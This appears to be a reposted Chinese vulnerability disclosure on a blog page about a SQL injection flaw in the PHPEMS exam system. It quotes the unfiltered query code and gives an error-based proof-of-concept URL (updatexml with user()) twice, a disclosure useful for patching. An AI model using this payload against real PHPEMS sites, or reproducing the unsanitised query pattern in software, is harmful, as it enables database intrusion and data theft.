php注入点判断,PHPEMS一处SQL注入漏洞

### 简要描述:

PHPEMS一处SQL注入漏洞

### 详细说明:

8.PHPEMS某处SQL注入漏洞

存在注入漏洞的代码位置是/app/exam/phone.php的exercise()函数中

具体存在漏洞地方位于239行附近

$numbers[$p['questid']] = intval(ceil($this->exam->getQuestionNumberByQuestypeAndKnowsid($p['questid'],$knowids)));

这里getQuestionNumberByQuestypeAndKnowsid第二个参数$knowids是完全可控的

进入函数内部

public function getQuestionNumberByQuestypeAndKnowsid($questype,$knowsid)

{

if(!$knowsid)$knowsid = '0';

$data = array("count(*) AS number",array('questions','quest2knows'),array("questions.questiontype = '{$questype}'","questions.questionparent = 0","questions.questionstatus = 1","questions.questionid = quest2knows.qkquestionid","quest2knows.qkknowsid IN ({$knowsid})","quest2knows.qktype = 0"),false,false,false);

$sql = $this->sql->makeSelect($data);

$r = $this->db->fetch($sql);

$data = array("sum(qrnumber) AS number",array('questionrows','quest2knows'),array("questionrows.qrtype = '{$questype}'","questionrows.qrstatus = 1","questionrows.qrid = quest2knows.qkquestionid","quest2knows.qkknowsid IN ({$knowsid})","quest2knows.qktype = 1"),false,false,false);

$sql = $this->sql->makeSelect($data);

$m = $this->db->fetch($sql);

return $r['number']+$m['number'];

}

没有进行任何过滤就参与SQL语句整合了,于是产生了SQL注入漏洞

验证过程

注册用户,登录之

访问localhost/ems/index.php?exam-phone-exercise-ajax-getQuestionNumber&knowsid=1,updatexml(1,user(),1)

即可验证。

[fff.png](https://images.seebug.org/upload/201503/121849579e282aedbb68b0bc14cd01b7c4a9a9cf.png)

验证无误

### 漏洞证明:

注册用户,登录之

访问localhost/ems/index.php?exam-phone-exercise-ajax-getQuestionNumber&knowsid=1,updatexml(1,user(),1)

即可验证。

[fff.png](https://images.seebug.org/upload/201503/121849579e282aedbb68b0bc14cd01b7c4a9a9cf.png)

验证无误

loading-bars.svg

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值